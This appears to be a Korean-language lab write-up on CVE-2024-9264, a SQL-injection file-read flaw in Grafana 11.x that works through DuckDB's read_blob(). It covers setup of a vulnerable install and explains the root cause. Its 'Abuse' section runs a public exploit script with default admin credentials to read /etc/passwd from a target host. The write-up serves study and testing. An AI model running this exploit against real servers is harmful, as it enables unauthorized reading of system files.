CVE-2024-9264

CVE-2024-9264는 Grafana 11.x 버전에서 발생되는 파일 읽기 취약점입니다.

환경 구성

sudo apt update && sudo apt upgrade -y
mkdir -p /etc/apt/keyrings
wget -q -O - https://apt.grafana.com/gpg.key | gpg --dearmor | sudo tee /etc/apt/keyrings/grafana.gpg > /dev/null
echo "deb [signed-by=/etc/apt/keyrings/grafana.gpg] https://apt.grafana.com stable main" | sudo tee -a /etc/apt/sources.list.d/grafana.list
sudo apt update
ufw allow 3000/tcp
sudo apt-get install grafana=11.0.0
sudo apt-mark hold grafana 
sudo systemctl restart grafana-server
wget -qO /tmp/duckdb.zip https://github.com/duckdb/duckdb/releases/download/v0.10.1/duckdb_cli-linux-amd64.zip
unzip /tmp/duckdb.zip -d /tmp
sudo mv /tmp/duckdb /usr/local/bin/
sudo chmod +x /usr/local/bin/duckdb
sudo systemctl restart grafana-server

Abuse

git clone https://github.com/nollium/CVE-2024-9264
cd CVE-2024-9264
python3 CVE-2024-9264.py -u admin -p admin -f "/etc/passwd" http://192.168.1.16:3000

Root Cause

Grafana 11.x 버전에는 실험적으로 운영하던 SQL 표현식 기능이 있었습니다. 원래 Grafana는 기본적으로 DuckDB를 설치하지 않지만, 이 기능에서 DuckDB를 사용할 때 Grafana가 실행되는 환경에서 DB의 실행 경로가 환경변수로 등록되어 있다면 Grafana에서 실행하는 것이 가능했습니다. 그리고 DuckDB에 대한 SQL 질의 부분에서 불충분한 입력값 검증으로 인해 SQL 인젝션이 발생했습니다.

DuckDB에는 MySQL의 load_file() 함수와 비슷하게 시스템 파일을 읽을 수 있는 내장 함수 read_blob()이 제공됩니다.

read_blob 함수로 읽은 시스템 파일

이를 악용하여 시스템 파일을 읽을 수 있습니다. 실행 주체는 Grafana이기 때문에 낮은 권한을 가집니다.

시스템 파일 읽기

References

Last updated

Was this helpful?